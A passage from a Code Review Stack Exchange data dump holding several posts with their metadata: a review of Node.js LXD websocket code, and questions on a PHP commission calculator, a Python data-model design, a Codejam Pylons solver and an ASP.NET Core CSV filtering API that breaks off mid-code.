<code>lxdConsoles.length</code>. Though since the server doesn't authenticate the token at all, we may as well just have the client generate the uuid.</p>\n\n<hr>\n\n<p><code>res.on('data', d => {</code> is not the correct way to read response data from an HTTP request. The <code>data</code> event signifies that a single <em>chunk</em> of data has been received, not the full message. Technically this code needs to have a buffer, store up all of the data chunks, and then process the full buffer on the <code>end</code> event.</p>\n\n<p>Roughly:</p>\n\n<pre><code>let body = '';\nres.on('data', d => body += d.toString('utf-8'));\nres.on('end', () => { /* do something with the complete \"body\" */ });\n</code></pre>\n\n<p>Or just use a simpler HTTP library, like <a href=\"https://www.npmjs.com/package/request-promise\" rel=\"nofollow noreferrer\">request-promise</a></p>\n\n<p>Based on the <a href=\"https://github.com/lxc/lxd/blob/master/doc/rest-api.md#10containersnameexec\" rel=\"nofollow noreferrer\">LXD Docs</a>, the returned message is guaranteed to be small... but this code is still fragile (if LXD ever changes to return more data, or if the URL is changed to something that returns more data, this could break).</p>\n\n<hr>\n\n<pre><code> try {\n const buf = Buffer.from(data);\n data = buf.toString();\n socket.emit(\"data\", data);\n } catch (ex) {\n // The WebSocket is not open, ignore\n }\n</code></pre>\n\n<p>This is concerning: try/catch is being used to just throw away an error without even logging it (so users may have mysterious behavior with no potential to even see the cause in logs) and also the comment reads weirdly: there's two websockets in play here (the client <code>socket</code> and the server <code>lxdWs</code> so the comment should specify which and also describe why the error doesn't need to be handled) </p>\n\n<hr>\n\n<pre><code>socket.on('close', function(indentifier) {\n setTimeout(() => {\n // ...\n }, 100);\n});\n</code></pre>\n\n<p>It's not clear what the <code>setTimeout</code> is doing here -- if it's needed for some specific timing thing, then a comment would be a good idea. Otherwise you can remove it.</p>\n\n<hr>\n\n<p>Small style things:</p>\n\n<ul>\n<li>The code has inconsistent whitespace, quoting, var/const usage, and semicolons. Just use <a href=\"https://prettier.io\" rel=\"nofollow noreferrer\">prettier</a> and never worry about it again.</li>\n<li><code>indentifier</code> is spelled wrong.</li>\n</ul>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-27T11:08:43.927",
"Id": "441307",
"Score": "0",
"body": "Thanks alot for your detailed answer :)"
}
],
"meta_data": {
"CommentCount": "1",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-08-21T06:39:03.120",
"Id": "226543",
"ParentId": "217391",
"Score": "6"
}
}
] | {
"AcceptedAnswerId": "226543",
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T12:01:32.107",
"Id": "217391",
"Score": "5",
"Tags": [
"javascript",
"node.js",
"websocket",
"socket.io"
],
"Title": "Node websockets"
} | 217391 |
<p>Task is to read file(<a href="https://github.com/yusttas/commissions-calculator/blob/master/input.csv" rel="nofollow noreferrer">input.csv</a>) and calculate each operations commission depending of operation type(cash_in or cash_out).</p>
<p>I dont have any specific questions, just want overall feedback, like code structure, naming, readibilty, good practices.</p>
<p>Next step would be to write unit tests(still learning) so my code need to be testable. Is there any things I could improve for that. Like im calling static method (CurrencyConverter::convertToEur) in CashoutStrategy class.</p>
<p>index.php</p>
<pre><code><?php
require_once 'vendor/autoload.php';
use Paysera\Entities\Operation;
use Paysera\Repositories\InMemoryOperationRepository as OperationRepository;
use Paysera\Services\Commissions\CommissionCalculator;
use Paysera\Services\Readers\CsvReader;
$path=trim(fgets(STDIN));
$repository = new OperationRepository();
$reader = new CsvReader($path);
$data = $reader->getData();
$id = 1;
foreach ($data as $row) {
$operation = new Operation();
$operation->setId($id++);
$operation->setDate($row[0]);
$operation->setPersonId((int) $row[1]);
$operation->setPersonType($row[2]);
$operation->setName($row[3]);
$operation->setAmount($row[4]);
$operation->setCurrency($row[5]);
$repository->add($operation);
}
$calculator = new CommissionCalculator($repository);
$results = $calculator->calculate();
foreach ($results as $result) {
fwrite(STDOUT, $result);
fwrite(STDOUT, "\n");
}
</code></pre>
<p>Operation.php</p>
<pre><code>namespace Paysera\Entities;
class Operation
{
private $id;
private $name;
private $date;
private $person_id;
private $person_type;
private $amount;
private $currency;
const CASH_OUT = 'cash_out';
const CASH_IN = 'cash_in';
public function setId(int $id)
{
$this->id = $id;
}
public function getId(): int
{
return $this->id;
}
public function setName(string $name)
{
$this->name = $name;
}
public function getName(): string
{
return $this->name;
}
public function setDate(string $date)
{
$this->date = $date;
}
public function getDate(): string
{
return $this->date;
}
public function setPersonId(int $person_id)
{
$this->person_id = $person_id;
}
public function getPersonId(): int
{
return $this->person_id;
}
public function setPersonType(string $person_type)
{
$this->person_type = $person_type;
}
public function getPersonType(): string
{
return $this->person_type;
}
public function setAmount(string $amount)
{
$this->amount = $amount;
}
public function getAmount(): string
{
return $this->amount;
}
public function setCurrency(string $currency)
{
$this->currency = $currency;
}
public function getCurrency(): string
{
return $this->currency;
}
}
</code></pre>
<p>OperationRepository.php</p>
<pre><code>namespace Paysera\Repositories;
interface OperationRepository
{
public function getAll(): array;
public function getPersonCashOutOperationsFromSameWeek(int $person_id, $date): array;
}
</code></pre>
<p>InMemoryOperationRepository.php</p>
<pre><code>namespace Paysera\Repositories;
use Paysera\Entities\Operation;
use Paysera\Repositories\OperationRepository;
class InMemoryOperationRepository implements OperationRepository
{
protected $operations;
public function add(Operation $operation)
{
$this->operations[] = $operation;
}
public function getAll(): array
{
return $this->operations;
}
public function getPersonCashOutOperationsFromSameWeek(int $person_id, $date): array
{
$operations = [];
$current_date = new \DateTime($date);
$current_week = $current_date->format('W');
foreach ($this->operations as $operation) {
$operation_date = new \DateTime($operation->getDate());
$operation_week = $operation_date->format('W');
if ($operation->getPersonId() == $person_id && $operation->getName() == Operation::CASH_OUT) {
if ($current_week == $operation_week && abs($current_date->diff($operation_date)->format('%R%a'))<=7) {
$operations[] = $operation;
} else if ($current_week < $operation_week) {
break;
}
}
}
return $operations;
}
}
</code></pre>
<p>CommissionCalculator.php</p>
<pre><code>namespace Paysera\Services\Commissions;
use Paysera\Entities\Operation;
use Paysera\Repositories\OperationRepository;
use Paysera\Services\Commissions\CashInStrategy;
use Paysera\Services\Commissions\CashOutStrategy;
class CommissionCalculator
{
protected $operations;
public function __construct(OperationRepository $repository)
{
$this->repository = $repository;
}
protected function getStrategy(Operation $operation): CommissionStrategy
{
$operation_name = $operation->getName();
switch ($operation->getName()) {
case Operation::CASH_IN:
$strategy = new CashInStrategy($operation);
break;
case Operation::CASH_OUT:
$strategy = new CashOutStrategy($operation, $this->repository);
break;
default:
throw new \Exception("Unknown strategy: " . $operation_name);
break;
}
return $strategy;
}
public function calculate(): array
{
$results = [];
foreach ($this->repository->getAll() as $operation) {
$calculator = $this->getStrategy($operation);
$results[] = $this->format($calculator->calculate());
}
return $results;
}
protected function format($result): string
{
$rounded = ceil($result * 100) / 100;
$formatted_result = number_format((float) $rounded, 2, '.', '');
return $formatted_result;
}
}
</code></pre>
<p>CommissionStrategy.php</p>
<pre><code>namespace Paysera\Services\Commissions;
use Paysera\Entities\Operation;
abstract class CommissionStrategy
{
protected $operation;
public function __construct(Operation $operation)
{
$this->operation = $operation;
}
abstract public function calculate();
}
</code></pre>
<p>CashInStrategy.php</p>
<pre><code>namespace Paysera\Services\Commissions;
use Paysera\Entities\Operation;
use Paysera\Services\Commissions\CommissionStrategy;
class CashInStrategy extends CommissionStrategy
{
const COMMISSION_PERCENT = 0.03;
const COMMISSION_MAX = 5;
public function calculate(): float
{
$commission = $this->operation->getAmount() * self::COMMISSION_PERCENT / 100;
if ($commission > self::COMMISSION_MAX) {
return self::COMMISSION_MAX;
}
return $commission;
}
}
</code></pre>
<p>CashOutStrategy.php</p>
<pre><code>namespace Paysera\Services\Commissions;
use Paysera\Entities\Operation;
use Paysera\Repositories\OperationRepository;
use Paysera\Services\Commissions\CommissionStrategy;
use Paysera\Services\CurrencyConverter;
class CashOutStrategy extends CommissionStrategy
{
const COMMISSION_PERCENT = 0.3;
const COMMISSION_MIN_LEGAL = 0.50;
const TIMES_PER_WEEK = 3;
const AMOUNT_PER_WEEK = 1000;
private $repository;
public function __construct(Operation $operation, OperationRepository $repository)
{
parent::__construct($operation);
$this->repository = $repository;
}
public function calculate(): float
{
$person_type = $this->operation->getPersonType();
if ($person_type == 'natural') {
$commission = $this->calculateForNaturalPerson();
} else if ($person_type == 'legal') {
$commission = $this->calculateForLegalPerson();
}
return (float) $commission;
}
protected function calculateForNaturalPerson(): float
{
$id = $this->operation->getId();
$person_id = $this->operation->getPersonId();
$current_date = $this->operation->getDate();
$current_amount = CurrencyConverter::convertToEur($this->operation->getAmount(), $this->operation->getCurrency());
$person_operations = $this->repository->getPersonCashOutOperationsFromSameWeek($person_id, $current_date);
$times_per_week = 0;
$amount_per_week = 0;
$discount_id = null;
foreach ($person_operations as $operation) {
$times_per_week++;
if ($times_per_week <= self::TIMES_PER_WEEK) {
$amount_per_week += CurrencyConverter::convertToEur($operation->getAmount(), $operation->getCurrency());
}
if ($amount_per_week >= self::AMOUNT_PER_WEEK) {
$discount_id = $operation->getId();
break;
}
}
if (!empty($discount_id)) {
if ($id == $discount_id) {
$current_amount = $amount_per_week - self::AMOUNT_PER_WEEK;
} else if ($id < $discount_id) {
$current_amount = 0;
}
} else {
$current_amount = 0;
}
$commission = $current_amount * self::COMMISSION_PERCENT / 100;
$converted = CurrencyConverter::convertEur($commission, $this->operation->getCurrency());
return $converted;
}
protected function calculateForLegalPerson(): float
{
$commission = $this->operation->getAmount() * self::COMMISSION_PERCENT / 100;
if ($commission < self::COMMISSION_MIN_LEGAL) {
return self::COMMISSION_MIN_LEGAL;
}
return $commission;
}
}
</code></pre>
<p>CurrencyConverter.php</p>
<pre><code>namespace Paysera\Services;
class CurrencyConverter
{
const EUR_CONVERSION = [
'EUR' => 1,
'USD' => 1.1497,
'JPY' => 129.53,
];
public static function convertEur($amount, $currency): float
{
$result = $amount * self::EUR_CONVERSION[$currency];
return (float) $result;
}
public static function convertToEur($amount, $currency): float
{
$result = $amount / self::EUR_CONVERSION[$currency];
return (float) $result;
}
}
</code></pre>
<p>CsvReader.php</p>
<pre><code>namespace Paysera\Services\Readers;
class CsvReader implements Reader
{
private $file_path;
private $delimeter;
public function __construct(string $file_path, string $delimeter = '')
{
$this->setFilePath($file_path);
$this->setDelimeter($delimeter);
}
public function setFilePath(string $file_path)
{
if (!file_exists($file_path)) {
throw new \Exception('Wrong path');
}
$this->file_path = $file_path;
}
public function setDelimeter(string $delimeter)
{
if (empty($delimeter)) {
$this->delimeter = ',';
} else {
$this->delimeter = $delimeter;
}
}
public function getData(): array
{
$results = [];
$row = 1;
if (($handle = fopen($this->file_path, "r")) !== false) {
while (($data = fgetcsv($handle, 1000, $this->delimeter)) !== false) {
$num = count($data);
$row++;
for ($c = 0; $c < $num; $c++) {
$results[] = explode($this->delimeter, $data[$c]);
}
}
fclose($handle);
}
return $results;
}
}
</code></pre>
<p>Link to repository <a href="https://github.com/yusttas/commissions-calculator" rel="nofollow noreferrer">https://github.com/yusttas/commissions-calculator</a></p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:11:37.547",
"Id": "420545",
"Score": "1",
"body": "Hey you need to post the code you want us to review on here, not a link to the github"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T14:14:52.987",
"Id": "420557",
"Score": "0",
"body": "Updated question with code"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T17:57:46.457",
"Id": "420575",
"Score": "0",
"body": "You could have left the link to your GitHub in the question. Also: A small sample file would be helpful for anyone who would actually want to check your code (don't assume it will be me...). Otherwise it's quite a dry exercise."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:14:43.013",
"Id": "420576",
"Score": "0",
"body": "what do you mean dry exercise?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:52:39.927",
"Id": "420593",
"Score": "0",
"body": "It would be nice if we could actually run the code, dive in, and 'get wet'. Without a sample CSV file we can't do that. Hence the 'dry exercise' analogy."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T07:44:46.243",
"Id": "420638",
"Score": "0",
"body": "Found your GitHub link at the end of your question, and there's a sample CSV file there."
}
] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "6",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:08:51.233",
"Id": "217394",
"Score": "2",
"Tags": [
"php",
"object-oriented"
],
"Title": "Commission calculation using PHP"
} | 217394 |
<p>I am implementing a data model in <code>python</code> and would appreciate any feedback.</p>
<h1>Model</h1>
<p>My data structure can be reduced to the following:</p>
<pre><code> {
'source':{
'name':None,
'website':None
},
'car':
[{
'manufacturer':None,
'model':None,
'year':None,
'horse_power':None,
'top_speed':None,
'unit_top_speed':'km/h',
'zero_to_100':None,
'unit_zero_to_100':'seconds'
}]
}
</code></pre>
<p>For my implementation, I created four classes:</p>
<ul>
<li><em>Parent</em>: A class that contains methods used by all other classes.</li>
<li><em>Car</em> and <em>Source</em> (childen of <em>Parent</em>): Two intermediate classes modeling the fields <code>car;source</code>. </li>
<li><em>Child</em> (child of <em>Car</em> and <em>Source</em>): The end class for my model.</li>
</ul>
<h1>Code</h1>
<pre><code>import warnings
# ------------------------------------------------------------------------------
# Parent Class
# ------------------------------------------------------------------------------
class Parent(object):
"""
*Parent Class*
Contains methods used by all other classes.
"""
def check_validity(self, key, subset=None, warn=True):
"""
Checks if key is a field of self.data.
"""
if subset is None:
if key in self.data.keys():
return True
else:
if warn:
warnings.warn('Not allowed:\n\"{}\" is not a field of the given instance.'.format(key), UserWarning)
return False
else:
if key in self.data[subset].keys():
return True
else:
if warn:
warnings.warn('Not allowed:\n\"{}\" is not a field of the given instance.'.format(key), UserWarning)
return False
# ------------------------------------------------------------------------------
# Sub-Classes
# ------------------------------------------------------------------------------
class Car(Parent):
__template = {
'manufacturer':None,
'model':None,
'year':None,
'horse_power':None,
'top_speed':None,
'unit_top_speed':'km/h',
'zero_to_100':None,
'unit_zero_to_100':'seconds'
}
def __init__(self, **kwargs):
self.data = Car.__template.copy()
for (k,v) in zip(kwargs.keys(), kwargs.values()):
if self.check_validity(k):
self.data[k] = v
class Source(Parent):
__template = {
'name':None,
'website':None
}
def __init__(self, **kwargs):
self.data = Source.__template.copy()
for (k,v) in zip(kwargs.keys(), kwargs.values()):
if self.check_validity(k):
self.data[k] = v
def set_website(self, website):
if not isinstance(website, str):
raise Exception('Argument must be a string.')
if self.__class__ is 'Source':
if not self.check_validity(key='website', warn=True):
return
self.data['website'] = website
return
else:
if not self.check_validity(key='website', subset='source', warn=False):
return
self.data['source']['website'] = website
return
# ------------------------------------------------------------------------------
# Child Class
# ------------------------------------------------------------------------------
class Child(Car, Source):
__template = {
'source':{
'name':None,
'website':None
},
'car':
[{
'manufacturer':None,
'model':None,
'year':None,
'horse_power':None,
'top_speed':None,
'unit_top_speed':'km/h',
'zero_to_100':None,
'unit_zero_to_100':'seconds'
}]
}
def __init__(self, **kwargs):
self.data = Child.__template.copy()
for (k,v) in zip(kwargs.keys(), kwargs.values()):
if self.check_validity(k):
self.data[k] = v
def add_car(self, car):
if not isinstance(car, Car):
raise Exception('Argument must be of class Car.')
self.data['car'].extend([car.data])
def set_car(self, car):
if not isinstance(car, Car):
raise Exception('Argument must be of class Car.')
self.data['car'] = ([car.data])
def set_source(self, source):
if not isinstance(source, Source):
raise Exception('Argument must be of class Source.')
self.data['source'] = source.data
</code></pre>
<h1>Notes</h1>
<ul>
<li><p>The <code>__init__</code> methods all use <code>**kwargs</code> and a loop to be able to lazily pass fields and values when creating an instance, e.g. </p>
<ul>
<li><code>Car(model='M4', year=2015)</code> or </li>
<li><code>Car(model='M4', top_speed = 250)</code>.</li>
</ul></li>
<li><p>The purpose of <code>check_validity</code> if twofold: </p>
<ol>
<li><p>It checks when defining an instance that all fields are valid, e.g. if one writes <code>Car(name='M4', top_speed = 250)</code>, then argument <code>name</code> is omitted (a warning is issued) as it is not a field of <code>Car.__template</code>.</p></li>
<li><p>It is also used to deal with inheritance: The class <em>Source</em> has a <code>set_website</code> method. By inheritance, this method is passed to <em>Child</em>. However, a trivial <code>set_website</code> method that <em>only</em> overwrites would throw an error when used for <em>Child</em> instances as <code>Child.__template</code> does not have a field <code>website</code>, or even worse than an error it would create a brand new field. However, I would like to be able to use <code>Child.set_website</code> to overwrite <code>Child.__template['source']['website']</code>. In this example I could have just overwritten the method. But since I am dealing with this problem several times I would prefer not to have to overwrite. Here, <code>check_validity</code> is used as a safety measure to ensure that using the set-method <em>makes sense</em>.</p></li>
</ol></li>
</ul>
<p>Finally, to tackle to problem addressed in <em>2</em>, what I did when defining <code>set_website</code> was getting the class name <code>self.__class__</code>. That if the class is <em>Source</em> the method overwrites the field <code>website</code>, if not the method first subsets to the field <code>source</code> and inside that field it overwrites <code>website</code>.</p>
<hr>
<p>Being a novice with that kind of tasks, I would appreciate any feedback, especially concerning </p>
| [] | [] | {
"AcceptedAnswerId": null,
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T13:41:45.153",
"Id": "217395",
"Score": "3",
"Tags": [
"python",
"object-oriented"
],
"Title": "Data Model Design and Inheritance in Python"
} | 217395 |
<p>I'm trying to solve <a href="https://codingcompetitions.withgoogle.com/codejam/round/0000000000051635/0000000000104e03" rel="nofollow noreferrer">Pylons</a> from the 2019's round 1A.</p>
<blockquote>
<p>Problem</p>
<p>Our Battlestarcraft Algorithmica ship is being chased through space by
persistent robots called Pylons! We have just teleported to a new
galaxy to try to shake them off of our tail, and we want to stay here
for as long as possible so we can buy time to plan our next move...
but we do not want to get caught!</p>
<p>This galaxy is a flat grid of R rows and C columns; the rows are
numbered from 1 to R from top to bottom, and the columns are numbered
from 1 to C from left to right. We can choose which cell to start in,
and we must continue to jump between cells until we have visited each
cell in the galaxy exactly once. That is, we can never revisit a cell,
including our starting cell.</p>
<p>We do not want to make it too easy for the Pylons to guess where we
will go next. Each time we jump from our current cell, we must choose
a destination cell that does not share a row, column, or diagonal with
that current cell. Let (i, j) denote the cell in the i-th row and j-th
column; then a jump from a current cell (r, c) to a destination cell
(r', c') is invalid if and only if any of these is true:</p>
<pre><code>r = r'
c = c'
r - c = r' - c'
r + c = r' + c'
</code></pre>
<p>Can you help us find an order in which to visit each of the R × C
cells, such that the move between any pair of consecutive cells in the
sequence is valid? Or is it impossible for us to escape from the
Pylons? Input</p>
<p>The first line of the input gives the number of test cases, T. T test
cases follow. Each consists of one line containing two integers R and
C: the numbers of rows and columns in this galaxy. Output</p>
<p>For each test case, output one line containing Case #x: y, where y is
a string of uppercase letters: either POSSIBLE or IMPOSSIBLE,
according to whether it is possible to fulfill the conditions in the
problem statement. Then, if it is possible, output R × C more lines.
The i-th of these lines represents the i-th cell you will visit
(counting starting from 1), and should contain two integers ri and ci:
the row and column of that cell. Note that the first of these lines
represents your chosen starting cell. Limits</p>
<p>Time limit: 20 seconds per test set. Memory limit: 1GB. Test set 1
(Visible)</p>
<p>T = 16. 2 ≤ R ≤ 5. 2 ≤ C ≤ 5. Test set 2 (Hidden)</p>
<p>1 ≤ T ≤ 100. 2 ≤ R ≤ 20. 2 ≤ C ≤ 20.</p>
</blockquote>
<p>The analysis suggests that a brute force approach should work. However, my Python 3 solution doesn't pass the 2nd test case. Can I make it faster without complicating the algorithm?</p>
<pre><code>from itertools import product, repeat
def main():
T = int(input()) # the number of test cases
for case in range(1, T+1):
R, C = map(int, input().split()) # the numbers of rows and columns
stack = []
for r, c in product(range(R), range(C)):
grid = [[False]*C for _ in repeat(None, R)]
grid[r][c] = True
stack.append((((r, c),), grid))
while stack:
moves, grid = stack.pop()
if len(moves) == R*C:
print('Case #{}: POSSIBLE'.format(case))
for r, c in moves:
print(r+1, c+1)
break
for r, c in product(range(R), range(C)):
if (not grid[r][c] and r != moves[-1][0] and c != moves[-1][1]
and moves[-1][0] - moves[-1][1] != r - c
and moves[-1][0] + moves[-1][1] != r + c):
g = [r.copy() for r in grid]
g[r][c] = True
stack.append((moves+((r, c),), g))
else:
print('Case #{}: IMPOSSIBLE'.format(case))
main()
</code></pre>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T18:36:21.730",
"Id": "420585",
"Score": "0",
"body": "Can you share a link to the analysis you've mentioned? I have a strong doubts that the brute force may work. Meanwhile, the problem looks like a [knight tour](https://en.wikipedia.org/wiki/Knight%27s_tour) variation with an ability to make non-knight moves. Use Warnsdorff's rule, and break the dead ends with non-knight moves."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:18:26.830",
"Id": "420588",
"Score": "0",
"body": "Just follow the [link](https://codingcompetitions.withgoogle.com/codejam/round/0000000000051635/0000000000104e03) and open the 'ANALYSIS' tab."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T19:21:08.163",
"Id": "420589",
"Score": "0",
"body": "There is nothing about the brute force there. The do however mention the knight tour (I honestly didn't read that tab when making the above comment)."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T21:56:40.387",
"Id": "420605",
"Score": "1",
"body": "Can you add a title that explains what the task is? This way reviewers can get some context."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T07:32:58.403",
"Id": "420636",
"Score": "0",
"body": "@vnp: Did you read it to the end? :) `This suggests that there are many possible solutions, and we might expect even more as the grid's dimensions get larger. {...} So, our intuition might suggest at this point that the best approach is some kind of brute force.`"
}
] | [
{
"body": "<p>A simple randomized brute-force works for this problem. From the analysis:</p>\n\n<blockquote>\n <p>We can try these solutions anyway, or we can rely on our occasional\n friend, randomness! We can pick a random starting cell, repeatedly\n choose valid moves uniformly at random from the space of all allowed\n moves from our current cell, and, if we run out of available moves,\n give up and start over. For any case except for the impossible ones\n mentioned above, this approach finds a solution very quickly.</p>\n</blockquote>\n\n<p>Python code:</p>\n\n<pre><code>from itertools import product, repeat\nfrom random import choice\n\n\ndef main():\n T = int(input()) # the number of test cases\n\n for case in range(1, T+1):\n R, C = map(int, input().split()) # the numbers of rows and columns\n\n if R < 2 or C < 2 or R + C < 7:\n print('Case #{}: IMPOSSIBLE'.format(case))\n else:\n print('Case #{}: POSSIBLE'.format(case))\n\n while True:\n grid = [[False]*C for _ in repeat(None, R)]\n moves = []\n last = None\n for _ in repeat(None, R*C):\n candidates = ([(r, c) for r, c in product(range(R), range(C)) if not grid[r][c]\n and r != last[0] and c != last[1] and last[0] - last[1] != r - c\n and last[0] + last[1] != r + c]\n if last is not None else list(product(range(R), range(C))))\n if not candidates:\n break\n cell = choice(candidates)\n moves.append(cell)\n grid[cell[0]][cell[1]] = True\n last = cell\n else:\n for r, c in moves:\n print(r+1, c+1)\n break\n\n\nmain()\n</code></pre>\n",
"comments": [],
"meta_data": {
"CommentCount": "0",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-05-27T14:27:30.077",
"Id": "221120",
"ParentId": "217398",
"Score": "1"
}
}
] | {
"AcceptedAnswerId": "221120",
"CommentCount": "5",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-13T14:44:57.393",
"Id": "217398",
"Score": "0",
"Tags": [
"python",
"performance",
"time-limit-exceeded"
],
"Title": "Solution to Codejam 2019's Pylons"
} | 217398 |
<p>I am coding a csv file filtering api in ASP.NET Core, which takes a csv file located at a given uri (and retrieved via the query string) convert the content to a collection of records, then apply a business rule to mark some records as pass or fail and then convert them as json/xml as part of another, output stream (the response returned by the web api).</p>
<p>The main constraint is that the file can big kinda huge and I am trying to leverage <code>async</code>/<code>await</code> as much as I can to prevent the controller action to get stuck for too long. Also I am trying to use exclusively <code>Stream</code>s in order to prevent peaks of memory from happening.</p>
<p>I am seeking some help for improving my code about</p>
<ul>
<li>Naming (I am still not sure that what I am doing can be qualified as "filtering" but I could not come up with a better name).</li>
<li>OO Design, I am looking for a better way to separate my business validation from the streaming process and exception handling (ie. a row cannot be deserialized as <code>CsvRecord</code>)</li>
<li>Maintainability, resilient to requirements changes</li>
<li>Error / Exception Handling Improvement not sure how to improve my controller action if say the <code>csvUri</code> leads to nowhere or if the headers is not validated, catching the exception, using <code>Either</code>?</li>
</ul>
<p>Note: I am using 2 libraries:</p>
<ul>
<li><a href="https://github.com/louthy/csharp-monad" rel="nofollow noreferrer">csharp-monad</a>: which provides a set of monads in C# (<code>Maybe</code>/<code>Option</code>, <code>Either</code>, <code>Try</code> / <code>TryResult</code>)</li>
<li><a href="https://github.com/Dasync/AsyncEnumerable" rel="nofollow noreferrer">AsyncEnumerable</a>: which provides an abstraction for the upcoming <a href="https://csharp.christiannagel.com/2019/03/20/asyncstreams" rel="nofollow noreferrer">Async Streams C#8 feature</a></li>
</ul>
<p>I also struggled to have used <a href="https://github.com/JeremySkinner/FluentValidation" rel="nofollow noreferrer">FluentValidation</a> to externalize the business validation</p>
<p>The <code>Program</code> and <code>Startup</code> with the dependency injection initialization:</p>
<pre><code>public class Program
{
public static void Main(string[] args)
{
CreateWebHostBuilder(args).Build().Run();
}
public static IWebHostBuilder CreateWebHostBuilder(string[] args) =>
WebHost.CreateDefaultBuilder(args)
.UseStartup<Startup>();
}
public class Startup
{
public Startup(IConfiguration configuration)
{
Configuration = configuration;
}
public IConfiguration Configuration { get; }
// This method gets called by the runtime. Use this method to add services to the container.
public void ConfigureServices(IServiceCollection services)
{
services.AddTransient<IAsyncStreamFilterFactory, MyAsyncStreamFilterFactory>();
services.AddMvc().SetCompatibilityVersion(CompatibilityVersion.Version_2_2);
}
// This method gets called by the runtime. Use this method to configure the HTTP request pipeline.
public void Configure(IApplicationBuilder app, IHostingEnvironment env)
{
if (env.IsDevelopment())
{
app.UseDeveloperExceptionPage();
}
else
{
// The default HSTS value is 30 days. You may want to change this for production scenarios, see https://aka.ms/aspnetcore-hsts.
app.UseHsts();
}
app.UseHttpsRedirection();
app.UseMvc();
}
}
</code></pre>
<p>The controller and its action taking the csv uri, extracting its content to related records, filter some according to some business rules and serialize back what have been filtered to the response body stream.</p>
<pre><code>[Route("[controller]")]
[ApiController]
public class FilterController : ControllerBase
{
private readonly IAsyncStreamFilterFactory _asyncStreamFilterFactory;
public FilterController(IAsyncStreamFilterFactory asyncStreamFilterFactory)
{
_asyncStreamFilterFactory = asyncStreamFilterFactory;
}
// GET / POST filter?csvUri=...
[HttpGet]
[HttpPost]
[Produces("application/json", "application/xml")]
public async Task FilterAsync([FromQuery(Name = "csvUri")] string csvUri)
{
var acceptHeader = Request.Headers["Accept"];
switch (acceptHeader)
{
case "application/json":
var jsonAsyncStreamFilter = _asyncStreamFilterFactory.Create(AsyncStreamFilterFormat.Json);
await jsonAsyncStreamFilter.FilterAsyncFromUriAsync(csvUri, Response.Body);
return;
case "application/xml":
var xmlAsyncStreamFilter = _asyncStreamFilterFactory.Create(AsyncStreamFilterFormat.Xml);
await xmlAsyncStreamFilter.FilterAsyncFromUriAsync(csvUri, Response.Body);
return;
default:
throw new UnsupportedMediaTypeException($"{acceptHeader} is not a supported format", MediaTypeHeaderValue.Parse(acceptHeader));
}
}
}
</code></pre>
<p>The <code>IAsyncStreamFilterFactory</code> and <code>IAsyncStreamFilter</code> implementations:</p>
<pre><code>public enum AsyncStreamFilterFormat
{
Json,
Xml
}
public interface IAsyncStreamFilterFactory
{
IAsyncStreamFilter Create(AsyncStreamFilterFormat format);
}
public class MyAsyncStreamFilterFactory : IAsyncStreamFilterFactory
{
public IAsyncStreamFilter Create(AsyncStreamFilterFormat format)
{
switch (format)
{
case AsyncStreamFilterFormat.Json:
return new MyAsyncCsvStreamFilter(new MyJsonAsyncEnumerableToStreamSerializer());
case AsyncStreamFilterFormat.Xml:
return new MyAsyncCsvStreamFilter(new MyXmlAsyncEnumerableToStreamSerializer());
default:
throw new InvalidEnumArgumentException(nameof(format), (int)format, typeof(AsyncStreamFilterFormat));
}
}
}
public interface IAsyncStreamFilter
{
Task FilterAsync(Stream input, Stream output);
}
public class MyAsyncCsvStreamFilter : IAsyncStreamFilter
{
private readonly IAsyncConverterIn<IAsyncEnumerable<Result>, Stream> _asyncEnumerableToStreamSerializer;
public MyAsyncCsvStreamFilter(
IAsyncConverterIn<IAsyncEnumerable<Result>, Stream> asyncEnumerableToStreamSerializer)
{
_asyncEnumerableToStreamSerializer = asyncEnumerableToStreamSerializer;
}
private static bool IsRecordBusinessValid(CsvRecord record) =>
record.C + record.D > 100;
private static Result CreateOkResult(CsvRecord record, long lineNumber) =>
new ErrorResult
{
LineNumber = lineNumber,
ErrorMessage = "The Sum of C and D is lesser than 100..."
};
private static Result CreateExceptionErrorResult(Exception exception, long lineNumber) =>
new ErrorResult
{
LineNumber = lineNumber,
ErrorMessage = exception.Message
};
private Result CreateBusinessErrorResult(CsvRecord record, long lineNumber) =>
new OkResult
{
LineNumber = lineNumber,
ConcatAB = record.A + record.B,
SumCD = record.C + record.D
};
public async Task FilterAsync(Stream input, Stream output)
{
var records = input.AsCsvReader().EnumerateTryRecordsAsync<CsvRecord>();
var results = records.Select((record, index) =>
{
var lineNumber = index + 1;
return record.IsFaulted
? CreateExceptionErrorResult(record.Exception, lineNumber)
: IsRecordBusinessValid(record.Value)
? CreateOkResult(record.Value, lineNumber)
: CreateBusinessErrorResult(record.Value, lineNumber);
});
await _asyncEnumerableToStreamSerializer.ConvertAsync(results, output);
}
}
public interface IAsyncConverterIn<in TInput, in TOutput>
{
Task ConvertAsync(TInput input, TOutput output);
}
public class MyJsonAsyncEnumerableToStreamSerializer : IAsyncConverterIn<IAsyncEnumerable<Result>, Stream>
{
public async Task ConvertAsync(IAsyncEnumerable<Result> input, Stream output)
{
using (var streamWriter = output.AsStreamWriter())
